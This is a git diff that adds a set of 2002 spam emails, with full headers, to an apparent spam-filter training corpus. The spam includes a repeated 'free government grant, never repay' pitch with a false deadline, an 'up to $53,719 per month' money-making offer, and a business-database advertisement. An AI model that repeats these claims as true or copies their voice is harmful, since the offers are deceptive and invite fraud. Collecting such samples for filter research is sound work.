application is below. Expires July 27. +Date: Sun, 21 Jul 2002 18:53:01 -1600 +MIME-Version: 1.0 +Content-Type: text/html; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable +Reply-To: tomkelly2fg7@address.com + + + + + + + +
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    + + + + + + + + + + + +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/00869.f81e5e18fca8debeb53ec8581e902987 b/bayes/spamham/spam_2/00869.f81e5e18fca8debeb53ec8581e902987 new file mode 100644 index 0000000..1e3d805 --- /dev/null +++ b/bayes/spamham/spam_2/00869.f81e5e18fca8debeb53ec8581e902987 @@ -0,0 +1,214 @@ +Received: from hq.pro-ns.net (localhost [127.0.0.1]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6MCknhY009175 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Mon, 22 Jul 2002 07:46:50 -0500 (CDT) + (envelope-from cpunks@hq.pro-ns.net) +Received: (from cpunks@localhost) + by hq.pro-ns.net (8.12.5/8.12.5/Submit) id g6MCknhk009172 + for cypherpunks-forward@ds.pro-ns.net; Mon, 22 Jul 2002 07:46:49 -0500 (CDT) +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6MCkfhY009115 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Mon, 22 Jul 2002 07:46:42 -0500 (CDT) + (envelope-from cpunks@waste.minder.net) +Received: from waste.minder.net (daemon@waste [66.92.53.73]) + by locust.minder.net (8.11.6/8.11.6) with ESMTP id g6MCkeJ33575 + for ; Mon, 22 Jul 2002 08:46:40 -0400 (EDT) + (envelope-from cpunks@waste.minder.net) +Received: (from cpunks@localhost) + by waste.minder.net (8.11.6/8.11.6) id g6MCke623297 + for cypherpunks@ds.pro-ns.net; Mon, 22 Jul 2002 08:46:40 -0400 +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by waste.minder.net (8.11.6/8.11.6) with ESMTP id g6MCkcR23273 + for ; Mon, 22 Jul 2002 08:46:38 -0400 +Received: from einstein.ssz.com (cpunks@[207.200.56.4]) + by locust.minder.net (8.11.6/8.11.6) with ESMTP id g6MCkbJ33560 + for ; Mon, 22 Jul 2002 08:46:37 -0400 (EDT) + (envelope-from cpunks@einstein.ssz.com) +Received: (from cpunks@localhost) + by einstein.ssz.com (8.8.8/8.8.8) id HAA06560 + for cpunks@minder.net; Mon, 22 Jul 2002 07:54:40 -0500 +Received: (from mdom@localhost) + by einstein.ssz.com (8.8.8/8.8.8) id HAA06505 + for cypherpunks-outgoing; Mon, 22 Jul 2002 07:53:02 -0500 +Received: from s1082.mb00.net (s1082.mb00.net [207.33.16.82]) + by einstein.ssz.com (8.8.8/8.8.8) with ESMTP id HAA06498 + for ; Mon, 22 Jul 2002 07:52:56 -0500 +Received: (from pmguser@localhost) + by s1082.mb00.net (8.8.8pmg/8.8.5) id EAA83411 + for :include:/usr/home/pmguser/pmgs/users/ebargains/delivery/1024851440.18684/rblk.9619; Mon, 22 Jul 2002 04:59:44 -0700 (PDT) +Message-Id: <200207221159.EAA83411@s1082.mb00.net> +From: Ebargains +To: cypherpunks@einstein.ssz.com +X-Info: Message sent by MindShare Design customer with ID "ebargains" +X-Info: Report abuse to list owner at ebargains@complaints.mb00.net +X-PMG-Userid: ebargains +X-PMG-Msgid: 1024851440.18684 +X-PMG-Recipient: cypherpunks@einstein.ssz.com +Old-Subject: CDR: Get McAfee VirusScan for just $19.95! 60% Off! +Date: Mon, 22 Jul 2002 07:46:01 EDT +MIME-Version: 1.0 +Content-Type: text/html; charset="iso-8859-1" +Sender: owner-cypherpunks@einstein.ssz.com +Precedence: bulk +Reply-To: cypherpunks@einstein.ssz.com +X-Mailing-List: cypherpunks@ssz.com +X-Unsubscription-Info: http://einstein.ssz.com/cdr +X-List-Admin: list@ssz.com +X-Loop: ssz.com +X-Acceptable-Languages: English, Russian, German, French, Spanish +Subject: Get McAfee VirusScan for just $19.95! 60% Off! + + +
    + +
    Your application for the Grant is below.

    Remember, because of= + the type of Grant this is,
    you will never need to repay!
     + +

    +
      + + +
      >> + +Time is limited. <<
      +You must place your order by Midnight, Saturday July 27, 2002
      +in order to secure a place in these programs.



      +
      + + + Too many people can qualify for this program, so by limiting the initial = +applicants
      + to the most serious, sincere and honest individuals. It will ensure that= + the
      +program money is used for beneficial, constructive uses.
      + Remember there is no risk on your part.
      +Also, each Grant is usually a minimum of $10,000, so this is a grea= +t opportunity!

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And, matchi= +ng the=20 +weather, your representatives are heatedly working to improve the Wall St= +reet=20 +mess. Let=92s hope they don=92t make it worse. Jennifer Hickey tells all = +in her=20 +revealing Washington=92s Week piece http://insightmag.com/news/258785.htm= +l.=20 + +And Zoli Simon has discovered that the Chinese have targeted Russian crui= +se=20 +missiles at U.S. ships. Read all about it=20 +http://insightmag.com/news/258778.html. And guess which party is poised t= +o=20 +become a major force in time for the November elections? Hint =96 It=92s = +not the=20 +Republicans or Democrats http://insightmag.com/news/258781.html. Along wi= +th the=20 +usual reliable revelations and opinions described below. =91Bye for now. = +>>From the=20 +Bunker, I remain your newsman in Washington. + +............................................... + +CHINA ARMS FOR WAR + +Zoli Simon writes that China's acquisition of cruise-missile weapons syst= +ems=20 +from Russia poses a clear and present danger to U.S. naval forces =96 and= + to the=20 +American homeland as well. + +http://insightmag.com/news/258778.html + +............................................... + +WASHINGTON=92S WEEK =96 ON THE LEGISLATIVE WARPATH + +Jennifer Hickey tells us as investor anger registered more clearly with e= +ach=20 +downward tick of the stock markets, legislators engaged in an indelicate=20 +parliamentary exchange of whoops about arcane congressional rules while t= +hey=20 +danced and ululated to mutual charges of chicanery. + +http://insightmag.com/news/258785.html + +............................................... + +TAX CODE TRAUMA + +John Berlau tells us that experts contend that simplifying the U.S. tax c= +ode=20 +would do more to cut down on corporate-accounting chicanery than the=20 +introduction of still more regulations and criminal penalties. + +http://insightmag.com/news/258763.html + + + + =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= +=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D + + Is Bin-Laden the Pawn of China? + +On September 11, 2001, a Chinese Peoples Liberation Army transport aircra= +ft from=20 +Beijing landed in Kabul with the most important delegation the ruling Tal= +iban=20 +had ever received. They had come to sign the contract with Afghanistan t= +hat=20 +Osama bin-Laden had asked for, that would provide the Taliban state of th= +e art=20 +air defense systems in exchange for the Taliban's promise to end the atta= +cks by=20 +Muslim extremists in China's north-western regions. Hours later, CIA Dir= +ector=20 +George Tenet received a coded "red alert" message from Mossad's Tel Aviv=20 +headquarters that presented what he called a "worst case scenario" -- tha= +t China=20 +would use a ruthless surrogate, bin-Laden, to attack the United States. = +In=20 +SEEDS OF FIRE, Gordon Thomas asks the question: In the war on terror, is = +China=20 +with us or against us? Click here:=20 +http://www.conservativebookservice.com/BookPage.asp?prod_cd=3DC5969&sour_= +cd=3DINT003901 + + =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= +=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D + + + +AUSTRIA CONFRONTS ITS DARK NAZI PAST + +Ken Timmerman writes that as a government commission prepares to release = +an=20 +inventory of property stolen from Jews by the Nazis, a new tide of anti-S= +emitism=20 +is sweeping the country. + +http://insightmag.com/news/258764.html + +............................................... + +=91PARTY OF PRINCIPLE=92 GAINING GROUND + +Doreen Englert says, once an afterthought on the U.S. political landscape= +, the=20 +Libertarian Party steadily has increased both in numbers and influence si= +nce its=20 +founding 30 years ago. + +http://insightmag.com/news/258781.html + +............................................... + +CHURCH EXPLORES =91HARD CHANGE=92 + +Jennifer Hickey writes that seeking to repair its severely damaged reputa= +tion=20 +and begin the healing process, the Catholic Church takes steps to impleme= +nt a=20 +nationwide policy on sexual abuse. + +http://insightmag.com/news/258761.html + + +You have received this newsletter because you have a user name and passwo= +rd at=20 +Insight on the News. +To unsubscribe from this newsletter, visit=20 +"http://insightmag.com/main.cfm?include=3Dunsubscribe". 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Expires July 27. +Date: Mon, 22 Jul 2002 00:05:30 -1600 +MIME-Version: 1.0 +Reply-To: dave2fg7@address.com +Content-Type: text/html; charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + + + + + + + + + + +
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    + + + + + + + + + + + + diff --git a/bayes/spamham/spam_2/00878.47676ab279418e3e1ef3f5948eda4f66 b/bayes/spamham/spam_2/00878.47676ab279418e3e1ef3f5948eda4f66 new file mode 100644 index 0000000..90186a4 --- /dev/null +++ b/bayes/spamham/spam_2/00878.47676ab279418e3e1ef3f5948eda4f66 @@ -0,0 +1,50 @@ +Received: from mail.paulcarneymotors.com.au (117-14.dsl.connexus.net.au [203.222.117.14]) + by linux.midrange.com (8.11.6/8.11.6) with ESMTP id g6MFqIe30019 + for ; Mon, 22 Jul 2002 10:52:18 -0500 +Received: from 212.120.142.242 ([212.120.142.242]) + by mail.paulcarneymotors.com.au (8.11.6/8.9.3) with SMTP id g6MFpB406027; + Tue, 23 Jul 2002 01:51:15 +1000 +Message-Id: <200207221551.g6MFpB406027@mail.paulcarneymotors.com.au> +From: pitster265059876@hotmail.com +To: dmlnpg@hotmail.com +CC: dmgibbs@midrange.com, dmlawn@hotmail.com, dmitmer@yahoo.com, + dmnf90d@yahoo.com, dmjackson17@hotmail.com, dmg6156@yahoo.com, + dmetrius2@yahoo.com, dmkramer@yahoo.com, dmjewel@hotmail.com, + dmihulka@msn.com +Date: Mon, 22 Jul 2002 11:09:34 -0500 +Subject: YOU MAY WANT TO LOOK INTO GRANTS. +MIME-Version: 1.0 +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 +Content-Type: text/html; charset=us-ascii +Content-Transfer-Encoding: 7bit +X-Status: +X-Keywords: + + +
    +
    Government Grants E-Book 2002 edition

    +

    + +
    Your application for the Grant is below.

    Remember, because of= + the type of Grant this is,
    you will never need to repay!
     + +

    +
      + + +
      >> + +Time is limited. <<
      +You must place your order by Midnight, Saturday July 27, 2002
      +in order to secure a place in these programs.



      +
      + + + Too many people can qualify for this program, so by limiting the initial = +applicants
      + to the most serious, sincere and honest individuals. It will ensure that= + the
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      + Remember there is no risk on your part.
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      +
      + +SEE IF YOU ARE ELIGIBLE FOR A LARGER GRANT!

      + +
      If you do not qualify for the Free Grant Program, you lose nothing= +!
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      +So your chances are so much higher!



      + + +
      + +APPLY NOW!
      +Deadline is almost here!

      + + + +





      + +
    +




    +
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    +Please CLICK HERE to be removed from future mailings.
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Naomi Hancock,= +=20 +UK PR Manager, tells us all about it in an exclusive interview. Also read= +=20 +about the launch of SponsorRating, the first sponsorship rating agency,=20 +our unsual transactions of the month, and a "special X-treme" Sponsorship= +=20 +Alert. + +As this is the last issue for the summer, we wish you a good August and=20 +will be back in September. + +Your comments are always welcome, so please email us at=20 +news@sponsorclick.com. + + +All our best, +Rachael Mark +Editor + + +In this issue: + + 1. Sponsorship, How and Why? Veuve Clicquot Speaks=20 + 2. Press Release: SponsorClick Launches the First Sponsorship Ratin= +g=20 +Agency + 3. Unusual Transactions of the Month + 4. Sponsorship Alert Special X-treme + 5. Special Offers: Taylor Nelson Sofr=E8s, BVA, Sport+Markt,=20 +Mediametrie, and more + 6. More Matching Opportunities With SponsorClick + 7. How to Contact SponsorClick? + +=20 + +=20 +---------------------------------------------------------------------=20 +.1. Sponsorship, How and Why? Veuve Clicquot Speaks=20 + Interview with Naomi Hancock, PR Manager, Veuve Clicquot UK - July 10= +,=20 +2002 +---------------------------------------------------------------------=20 +=20 + On the occasion of the Veuve Clicquot Gold Cup Polo in West Sussex,=20 +Naomi Hancock reveals Veuve Clicquot's communication strategy.=20 +=20 +Veuve Clicquot has had a single consistent communication strategy in the=20 +UK for the last 15 years. This has been to associate the brand with the=20 +most glamorous sporting cultural and social events of the English summer = +-=20 +known locally as The English Season.=20 + +Veuve Clicquot has become the Champagne of the Season. We've adapted our=20 +communication to stay at the forefront of fashion, and attitudes to these= +=20 +events, which combine tradition with the excitement of world class sport.= +=20 + + + Does your company consider sponsorship a key marketing/communication=20 +tool? + +Absolutely. Sponsorship enables us to build positive associations for the= +=20 +brand. But we are not interested in tacking our name onto an event where=20 +the addition does not add real value to the event and vica-versa. We=20 +believe in investing, nurturing, and improving over time.=20 + + + Can you describe your sponsorship strategy? + +We aim to maximise the perception of Veuve Clicquot as the Champagne of=20 +the Season. Everything we do is designed to build a partnership, and=20 +enhance the valuable efforts of our partners, in their own creation, and=20 +development of their events. Our buzz word is integration, as we seek to=20 +make The Season central to our marketing mix.=20 + + + Can you describe your sponsorship decision-making process? + +We usually discuss a sponsorship programme for the full year with our=20 +mother company in France. We have flexibility - within our budget and the= +=20 +frame of The Season - to undertake what we sense to match our values and=20 +the image of Veuve Clicquot. Our role in London is to screen whatever=20 +comes to us and discuss relevant operations internally. + +We have a dedicated PR Group at Veuve Clicquot which makes all decisions=20 +related to our sponsorship. Above a certain threshold our head-office wil= +l=20 +like to be involved in such a decision.=20 + + + What are the main criteria on which you base your sponsorship strategy? + +Return on investment is the key criterion for any marketing investment=20 +decision. We would only undertake sponsorship in Season-related events.=20 +This is our rule and frame of investment. + + + What objectives are you seeking to achieve through sponsorship? + +Within the Season, we are especially looking to achieve visibility vis-=E0= +- +vis our audience, image-transfer, media coverage (all national press,=20 +magazine of all kinds).=20 + +Awareness is also key for Veuve Clicquot, so we look to find events that=20 +complement those that we already have, and extend our appeal to people of= +=20 +similar status, but differing interests.=20 + + + Please describe one of your sponsorships + +The Eighth Annual Veuve Clicquot Gold Cup Polo, held this month at Cowdra= +y=20 +Park in West Sussex, is the largest entertainment operation undertaken by= +=20 +Veuve Clicquot UK each year. This successful sponsorship earns Veuve=20 +Clicquot tremendous media coverage, fabulous exposure to our core target=20 +group and a perfect image transfer as polo is the sports of kings and the= +=20 +king of sports. + + + What's your approximate sponsorship spend per year? + +Significant. Without giving figures, we can say that we spend a large=20 +portion of our communication in sponsorship and support and that we=20 +organize the majority of our communication around the theme of Veuve=20 +Clicquot as the Champagne of the Season, because this is where we are=20 +getting a good return on our investment. + + + How do you measure the effectiveness of your sponsorship? + +------=_ZnkAvjw6_o9xevs6y_MA-- +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/00880.f1a18307c9d2a5ccf7a7a2318bdb0509 b/bayes/spamham/spam_2/00880.f1a18307c9d2a5ccf7a7a2318bdb0509 new file mode 100644 index 0000000..b0adc88 --- /dev/null +++ b/bayes/spamham/spam_2/00880.f1a18307c9d2a5ccf7a7a2318bdb0509 @@ -0,0 +1,172 @@ +Received: from hq.pro-ns.net (localhost [127.0.0.1]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6MIG5hY041141 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Mon, 22 Jul 2002 13:16:05 -0500 (CDT) + (envelope-from cpunks@hq.pro-ns.net) +Received: (from cpunks@localhost) + by hq.pro-ns.net (8.12.5/8.12.5/Submit) id g6MIG55s041138 + for cypherpunks-forward@ds.pro-ns.net; Mon, 22 Jul 2002 13:16:05 -0500 (CDT) +Received: from twnte.com (IDENT:postfix@twnte.com [61.222.240.97]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6MIG1hX041112 + for ; Mon, 22 Jul 2002 13:16:01 -0500 (CDT) + (envelope-from 023anlin@ms35.hinet.net) +Received: from mail01 (61-217-167-47.HINET-IP.hinet.net [61.217.167.47]) + by twnte.com (Postfix) with ESMTP + id 6B237FB6E; Tue, 23 Jul 2002 02:03:09 -0400 (EDT) +From: 023anlin@ms35.hinet.net +Subject: =?Big5?B?s8y3c6V4xles2aR1sNOmV7/9LTEtMTY3LQ==?= +To: cypher00000000@yahoo.com.tw +Content-Type: + text/html;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +Reply-To: 023anlin@ms35.hinet.net +Date: Tue, 23 Jul 2002 00:26:15 +0800 +X-Priority: 3 +X-Library: Indy 8.0.25 +Message-Id: <20020723060309.6B237FB6E@twnte.com> +MIME-Version: 1.0 +Content-Transfer-Encoding: quoted-printable +X-MIME-Autoconverted: from 8bit to quoted-printable by hq.pro-ns.net id g6MKOxhX092865 + + + + + + + +=B3=CC=B7s=A5x=C6W=AC=D9=A4u=B0=D3=A6W=BF=FD + + + + +

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    =B3=CC=B7s=A5x=C6W=AC=D9=A4u=B0=D3= +=A6W=BF=FD=A1=D0=A6=A8=A5\=AA=BA=AB=B4=BE=F7=A1=FE=ADP=B3=D3=AA=BA=A5=FD=BE= +=F7

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    =B4=BA=AE=F0=A4=A3=A8=CE=A7A=B7Q=B5= +u=B4=C1=ADP=B4I=AC=F0=AF}=B2{=AA=AC=B6=DC ?

    =20 +

    =A8C=A4=D1=A6=A3=B8L=AA=BA=A4u=A7@=C5=FD=A7A=B5L= +=B7v=B6}=B5o=B7s=AB=C8=A4=E1=B6=DC ?

    =20 +

    =B3o=B8=CC=A6=B3=A5x=C6W=B3=CC=B7s=A4@=A4=E2=AA=BA= +=A4=BD=A5q=B8=EA=AE=C6=A1A=BEA=A6X=A6U

    =20 +

    =A6=E6=B7~=A8=CF=A5=CE=A1A=BC=C6=B6q=A6=B3=AD=AD= +=B9w=C1=CA=B1q=B3t=A1C

    =20 +

    =A1=B4 = + =20 +=A5=FE=AC=D9=A4u=B0=D3=B8=EA=AE=C6=AEw=AC=F9=A2=B1=A2=AF=B8U=B5=A7
    = + =20 + =A1=B4 =B4=A3=A8=D1=A6U=BA=D8=AE=E6=A6=A1= +=A6C=A6L=A1]=B6l=B1H=BC=D0=C3=B1=A1B=ABH=AB=CA=A1E=A1E=A1^
    = + =20 + =A1=B4 =B8=EA=AE=C6=B6=B5=A5=D8=A1]=B2=CE= +=A4@=BDs=B8=B9=A1B=A4=BD=A5q=A6W=BA=D9=A1B=ADt=B3d=A4H=A1B
    = + =20 +     =B8=EA=A5=BB=C3B=A1B=A6a=A7}=A1B=B3]=A5=DF=A4=E9=B4=C1= +=A1B=A6=E6=B7~=A7O=A1^
    =20 + =A1=B4 =B4=A3=A8=D1=B4=BC=BCz=AB=AC=BA=EE= +=A6X=ACd=B8=DF=A5\=AF=E0=A1A=A4=E8=ABK=B7j=B4M
    =20 + =A1=B4 =B8=EA=AE=C6=AEw=A5i=ACd=B8=DF=A1B= +=AD=D7=A7=EF=A1B=A7R=B0=A3=A1B=A6C=A6L

    =20 +

    =A1=B4 =A5t=A7K=B6O=AA=FE=C3=D8=A4Q= +=B4X=AEM=B0=D3=A5=CE=B3n=C5=E9=A4=CE=BCv=AD=B5=B1=D0=BE=C7=B3n=C5=E9

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    =20 +

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    =20 +

    =A6=ED=A6v=B9q=B8=DC=A1G   =20 + =A5I=B4=DA=A4=E8=A6=A1=A1G

    =20 +

    =A4=BD=A5q=B9q=B8=DC=A1G  =20 + =20 + =20 +  

    =20 +

    =A6=E6=B0=CA=B9q=B8=DC=A1G    =20 + =C0u=AB=DD=BB=F9500=A4=B8=A7t=B9B= +=B6O  =20 +  

    =20 +
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Naomi Hancock,= +=20 +UK PR Manager, tells us all about it in an exclusive interview. Also read= +=20 +about the launch of SponsorRating, the first sponsorship rating agency,=20 +our unsual transactions of the month, and a "special X-treme" Sponsorship= +=20 +Alert. + +As this is the last issue for the summer, we wish you a good August and=20 +will be back in September. + +Your comments are always welcome, so please email us at=20 +news@sponsorclick.com. + + +All our best, +Rachael Mark +Editor + + +In this issue: + + 1. Sponsorship, How and Why? Veuve Clicquot Speaks=20 + 2. Press Release: SponsorClick Launches the First Sponsorship Ratin= +g=20 +Agency + 3. Unusual Transactions of the Month + 4. Sponsorship Alert Special X-treme + 5. Special Offers: Taylor Nelson Sofr=E8s, BVA, Sport+Markt,=20 +Mediametrie, and more + 6. More Matching Opportunities With SponsorClick + 7. How to Contact SponsorClick? + +=20 + +=20 +---------------------------------------------------------------------=20 +.1. Sponsorship, How and Why? Veuve Clicquot Speaks=20 + Interview with Naomi Hancock, PR Manager, Veuve Clicquot UK - July 10= +,=20 +2002 +---------------------------------------------------------------------=20 +=20 + On the occasion of the Veuve Clicquot Gold Cup Polo in West Sussex,=20 +Naomi Hancock reveals Veuve Clicquot's communication strategy.=20 +=20 +Veuve Clicquot has had a single consistent communication strategy in the=20 +UK for the last 15 years. This has been to associate the brand with the=20 +most glamorous sporting cultural and social events of the English summer = +-=20 +known locally as The English Season.=20 + +Veuve Clicquot has become the Champagne of the Season. We've adapted our=20 +communication to stay at the forefront of fashion, and attitudes to these= +=20 +events, which combine tradition with the excitement of world class sport.= +=20 + + + Does your company consider sponsorship a key marketing/communication=20 +tool? + +Absolutely. Sponsorship enables us to build positive associations for the= +=20 +brand. But we are not interested in tacking our name onto an event where=20 +the addition does not add real value to the event and vica-versa. We=20 +believe in investing, nurturing, and improving over time.=20 + + + Can you describe your sponsorship strategy? + +We aim to maximise the perception of Veuve Clicquot as the Champagne of=20 +the Season. Everything we do is designed to build a partnership, and=20 +enhance the valuable efforts of our partners, in their own creation, and=20 +development of their events. Our buzz word is integration, as we seek to=20 +make The Season central to our marketing mix.=20 + + + Can you describe your sponsorship decision-making process? + +We usually discuss a sponsorship programme for the full year with our=20 +mother company in France. We have flexibility - within our budget and the= +=20 +frame of The Season - to undertake what we sense to match our values and=20 +the image of Veuve Clicquot. Our role in London is to screen whatever=20 +comes to us and discuss relevant operations internally. + +We have a dedicated PR Group at Veuve Clicquot which makes all decisions=20 +related to our sponsorship. Above a certain threshold our head-office wil= +l=20 +like to be involved in such a decision.=20 + + + What are the main criteria on which you base your sponsorship strategy? + +Return on investment is the key criterion for any marketing investment=20 +decision. We would only undertake sponsorship in Season-related events.=20 +This is our rule and frame of investment. + + + What objectives are you seeking to achieve through sponsorship? + +Within the Season, we are especially looking to achieve visibility vis-=E0= +- +vis our audience, image-transfer, media coverage (all national press,=20 +magazine of all kinds).=20 + +Awareness is also key for Veuve Clicquot, so we look to find events that=20 +complement those that we already have, and extend our appeal to people of= +=20 +similar status, but differing interests.=20 + + + Please describe one of your sponsorships + +The Eighth Annual Veuve Clicquot Gold Cup Polo, held this month at Cowdra= +y=20 +Park in West Sussex, is the largest entertainment operation undertaken by= +=20 +Veuve Clicquot UK each year. This successful sponsorship earns Veuve=20 +Clicquot tremendous media coverage, fabulous exposure to our core target=20 +group and a perfect image transfer as polo is the sports of kings and the= +=20 +king of sports. + + + What's your approximate sponsorship spend per year? + +Significant. Without giving figures, we can say that we spend a large=20 +portion of our communication in sponsorship and support and that we=20 +organize the majority of our communication around the theme of Veuve=20 +Clicquot as the Champagne of the Season, because this is where we are=20 +getting a good return on our investment. + + + How do you measure the effectiveness of your sponsorship? + +------=_MTVdUUF7_CFi9V3vL_MA-- +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/00883.a154f7c7619d620a00deb7da892ca4ce b/bayes/spamham/spam_2/00883.a154f7c7619d620a00deb7da892ca4ce new file mode 100644 index 0000000..b0435c1 --- /dev/null +++ b/bayes/spamham/spam_2/00883.a154f7c7619d620a00deb7da892ca4ce @@ -0,0 +1,92 @@ +Received: from hq.pro-ns.net (localhost [127.0.0.1]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6NDjOhY006172 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Tue, 23 Jul 2002 08:45:24 -0500 (CDT) + (envelope-from cpunks@hq.pro-ns.net) +Received: (from cpunks@localhost) + by hq.pro-ns.net (8.12.5/8.12.5/Submit) id g6NDjO3b006166 + for cypherpunks-forward@ds.pro-ns.net; Tue, 23 Jul 2002 08:45:24 -0500 (CDT) +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6NDjMhY006147 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Tue, 23 Jul 2002 08:45:23 -0500 (CDT) + (envelope-from cpunks@waste.minder.net) +Received: from waste.minder.net (daemon@waste [66.92.53.73]) + by locust.minder.net (8.11.6/8.11.6) with ESMTP id g6NDjLJ19502 + for ; Tue, 23 Jul 2002 09:45:21 -0400 (EDT) + (envelope-from cpunks@waste.minder.net) +Received: (from cpunks@localhost) + by waste.minder.net (8.11.6/8.11.6) id g6NDjKR04538 + for cypherpunks@ds.pro-ns.net; Tue, 23 Jul 2002 09:45:20 -0400 +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by waste.minder.net (8.11.6/8.11.6) with ESMTP id g6NDjJR04525 + for ; Tue, 23 Jul 2002 09:45:19 -0400 +Received: from excite.com ([211.163.113.98]) + by locust.minder.net (8.11.6/8.11.6) with SMTP id g6NDjGJ19480 + for ; Tue, 23 Jul 2002 09:45:17 -0400 (EDT) + (envelope-from residual712254i20@excite.com) +Received: from 41.68.234.197 ([41.68.234.197]) by pet.vosni.net with asmtp; Tue, 23 Jul 0102 06:36:28 +0200 +Received: from [191.198.70.21] by da001d2020.loxi.pianstvu.net with esmtp; 23 Jul 0102 08:28:25 +0800 +Received: from 16.214.139.222 ([16.214.139.222]) by smtp-server.tampabayr.com with SMTP; Tue, 23 Jul 0102 16:20:22 -0300 +Reply-To: +Message-ID: <036a70b53e2b$5322a0b0$5eb85ad7@kmbikd> +From: +To: $$$$@locust.minder.net +Subject: Adv: Global Opportunity/Up To $53,719 Per Month! 8741yt-6 +Date: Tue, 23 Jul 0102 03:26:35 +1000 +MiME-Version: 1.0 +Content-Type: text/plain; + charset="iso-8859-1" +Content-Transfer-Encoding: 8bit +X-Priority: 3 (Normal) +X-MSMail-Priority: Normal +X-Mailer: Microsoft Outlook Express 5.00.2615.200 +Importance: Normal + +Proven 6 Year Old Better Business Registered Company Provides +A REAL And Legitimate Opportunity To Make Some SERIOUS MONEY! + +GLOBAL OPPORTUNITIES! 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All removal requests are handled as soon as possible  + +hcpfakmooysjlmqrudocrqrah + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/spam_2/00887.7a8cc64a563c42af29184459e6c1a97f b/bayes/spamham/spam_2/00887.7a8cc64a563c42af29184459e6c1a97f new file mode 100644 index 0000000..5f4d717 --- /dev/null +++ b/bayes/spamham/spam_2/00887.7a8cc64a563c42af29184459e6c1a97f @@ -0,0 +1,90 @@ +Received: from hq.pro-ns.net (localhost [127.0.0.1]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6MIENhY040297 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Mon, 22 Jul 2002 13:14:24 -0500 (CDT) + (envelope-from cpunks@hq.pro-ns.net) +Received: (from cpunks@localhost) + by hq.pro-ns.net (8.12.5/8.12.5/Submit) id g6MIEN12040290 + for cypherpunks-forward@ds.pro-ns.net; Mon, 22 Jul 2002 13:14:23 -0500 (CDT) +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6MIEGhY040233 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Mon, 22 Jul 2002 13:14:17 -0500 (CDT) + (envelope-from cpunks@waste.minder.net) +Received: from waste.minder.net (daemon@waste [66.92.53.73]) + by locust.minder.net (8.11.6/8.11.6) with ESMTP id g6MIEFJ44217 + for ; Mon, 22 Jul 2002 14:14:16 -0400 (EDT) + (envelope-from cpunks@waste.minder.net) +Received: (from cpunks@localhost) + by waste.minder.net (8.11.6/8.11.6) id g6MIEET07784 + for cypherpunks@ds.pro-ns.net; Mon, 22 Jul 2002 14:14:14 -0400 +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by waste.minder.net (8.11.6/8.11.6) with ESMTP id g6MIEER07769 + for ; Mon, 22 Jul 2002 14:14:14 -0400 +Received: from einstein.ssz.com (cpunks@[207.200.56.4]) + by locust.minder.net (8.11.6/8.11.6) with ESMTP id 